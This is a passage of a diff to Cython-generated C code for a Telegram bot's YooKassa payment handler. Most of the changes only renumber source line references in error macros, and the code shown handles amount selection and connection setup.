__Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_BACK); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_BACK); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 101, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -4898,13 +4893,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -4924,7 +4919,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -4939,21 +4934,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L10_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 95, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 103, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_key_count = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 96, __pyx_L1_error) if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -4973,7 +4968,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 105, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -4988,34 +4983,34 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L12_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 105, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 97, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_exists = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 106, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 98, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 107, __pyx_L1_error); - __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 99, __pyx_L1_error); + __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 107, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 99, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 99, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 99, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -5031,12 +5026,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 107, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 99, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 107, __pyx_L1_error) + else __PYX_ERR(0, 99, __pyx_L1_error) } } @@ -5044,22 +5039,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_9) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_9) < 0) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 112, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_11 = NULL; __pyx_t_5 = 0; @@ -5079,14 +5074,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 112, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5101,20 +5096,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 109, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 101, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 109, __pyx_L1_error) + else __PYX_ERR(0, 101, __pyx_L1_error) } } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_choosing_amount_yookassa); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_choosing_amount_yookassa); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -5136,7 +5131,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 115, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -5151,12 +5146,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 6; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 115, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 107, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 115, __pyx_L1_error) + else __PYX_ERR(0, 107, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -5246,7 +5241,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 118, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 110, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -5254,14 +5249,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 118, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 110, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 118, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 110, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 118, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 110, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -5274,7 +5269,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 118, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 110, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -5313,7 +5308,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_sel if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 118, __pyx_L1_error) + __PYX_ERR(0, 110, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -5324,7 +5319,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_sel __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -5376,21 +5371,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 118, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 110, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 121, __pyx_L1_error) + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 113, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { @@ -5400,7 +5395,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C } - __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; @@ -5413,7 +5408,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L5_error) + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; @@ -5431,7 +5426,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_8) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 127, __pyx_L7_except_error) + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 119, __pyx_L7_except_error) __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_9); @@ -5460,12 +5455,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_L10_try_end:; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 130, __pyx_L1_error) - 